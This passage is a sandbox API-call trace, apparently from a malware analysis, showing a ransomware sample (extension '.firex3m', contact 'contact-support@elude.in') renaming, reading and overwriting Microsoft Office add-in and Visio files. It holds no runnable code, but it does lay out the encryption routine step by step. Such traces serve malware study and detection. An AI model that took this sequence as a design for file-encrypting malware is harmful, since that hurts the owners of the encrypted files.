Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll") returned 1 [0178.946] GetProcessHeap () returned 0x630000 [0178.946] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2abc) returned 0x707d3d0 [0178.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0178.947] CloseHandle (hObject=0x4e8) returned 1 [0178.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0178.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0178.948] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0178.948] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0178.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0178.948] GetProcessHeap () returned 0x630000 [0178.948] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x710d220 [0178.949] GetProcessHeap () returned 0x630000 [0178.949] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0178.950] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.950] ReadFile (in: hFile=0x4e8, lpBuffer=0x710d220, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710d220*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.066] GetProcessHeap () returned 0x630000 [0185.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0185.067] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.067] WriteFile (in: hFile=0x4e8, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.067] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.067] WriteFile (in: hFile=0x4e8, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.067] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.068] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.068] CloseHandle (hObject=0x4e8) returned 1 [0185.068] GetProcessHeap () returned 0x630000 [0185.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0185.068] GetProcessHeap () returned 0x630000 [0185.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710d220 | out: hHeap=0x630000) returned 1 [0185.068] GetProcessHeap () returned 0x630000 [0185.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0185.068] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3441735d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xb687496, dwReserved1=0x710d218, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d54c0 [0185.068] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0185.068] Sleep (dwMilliseconds=0x1) [0187.136] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml") returned 1 [0187.136] GetProcessHeap () returned 0x630000 [0187.136] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29c8) returned 0x707d3d0 [0187.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0189.806] CloseHandle (hObject=0x694) returned 1 [0189.806] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10d2, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0190.025] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0190.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0190.026] GetProcessHeap () returned 0x630000 [0190.026] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10e1) returned 0x714508 [0190.026] GetProcessHeap () returned 0x630000 [0190.026] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10e1) returned 0x67be28 [0190.026] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.026] ReadFile (in: hFile=0x694, lpBuffer=0x714508, nNumberOfBytesToRead=0x10c0, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x447ff0c*=0x10c0, lpOverlapped=0x0) returned 1 [0190.043] GetProcessHeap () returned 0x630000 [0190.043] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0190.043] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.043] WriteFile (in: hFile=0x694, lpBuffer=0x67be28*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be28*, lpNumberOfBytesWritten=0x447ff0c*=0x10c0, lpOverlapped=0x0) returned 1 [0190.043] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.044] WriteFile (in: hFile=0x694, lpBuffer=0x67cee7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cee7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.044] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.044] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.044] CloseHandle (hObject=0x694) returned 1 [0190.044] GetProcessHeap () returned 0x630000 [0190.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be28 | out: hHeap=0x630000) returned 1 [0190.044] GetProcessHeap () returned 0x630000 [0190.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0190.044] GetProcessHeap () returned 0x630000 [0190.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0190.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3739a1be, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10f6, dwReserved0=0xb687496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0190.044] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0190.044] Sleep (dwMilliseconds=0x1) [0190.055] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml") returned 1 [0190.056] GetProcessHeap () returned 0x630000 [0190.056] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2968) returned 0x707d3d0 [0190.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0190.056] CloseHandle (hObject=0x6d8) returned 1 [0190.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176b, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0190.058] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0190.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0190.058] GetProcessHeap () returned 0x630000 [0190.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1781) returned 0x6ed2090 [0190.058] GetProcessHeap () returned 0x630000 [0190.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1781) returned 0x6ed88d8 [0190.059] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.059] ReadFile (in: hFile=0x6d8, lpBuffer=0x6ed2090, nNumberOfBytesToRead=0x1760, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesRead=0x447ff0c*=0x1760, lpOverlapped=0x0) returned 1 [0190.083] GetProcessHeap () returned 0x630000 [0190.083] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0190.083] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.083] WriteFile (in: hFile=0x6d8, lpBuffer=0x6ed88d8*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88d8*, lpNumberOfBytesWritten=0x447ff0c*=0x1760, lpOverlapped=0x0) returned 1 [0190.083] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.083] WriteFile (in: hFile=0x6d8, lpBuffer=0x6eda037*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eda037*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.083] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.083] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.084] CloseHandle (hObject=0x6d8) returned 1 [0190.084] GetProcessHeap () returned 0x630000 [0190.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88d8 | out: hHeap=0x630000) returned 1 [0190.084] GetProcessHeap () returned 0x630000 [0190.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0190.084] GetProcessHeap () returned 0x630000 [0190.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0190.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x373e667a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x178f, dwReserved0=0xb687496, dwReserved1=0x6ed2088, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f00 [0190.084] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0190.084] Sleep (dwMilliseconds=0x1) [0191.986] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX", len=0x50 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX") returned 1 [0191.986] GetProcessHeap () returned 0x630000 [0191.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45b4) returned 0x74656a8 [0191.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0193.624] CloseHandle (hObject=0x6a0) returned 1 [0193.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vssx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e76730, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e76730, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e76730, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4ee6d, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="WRKFLO_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~2.FIR")) returned 0x6d5400 [0195.746] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0195.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vssx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0195.747] GetProcessHeap () returned 0x630000 [0195.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0195.747] GetProcessHeap () returned 0x630000 [0195.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0195.748] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.748] ReadFile (in: hFile=0x6a0, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0203.882] GetProcessHeap () returned 0x630000 [0203.883] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0203.883] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.883] WriteFile (in: hFile=0x6a0, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0203.883] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.883] WriteFile (in: hFile=0x6a0, lpBuffer=0x72aef1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef1f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0203.886] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 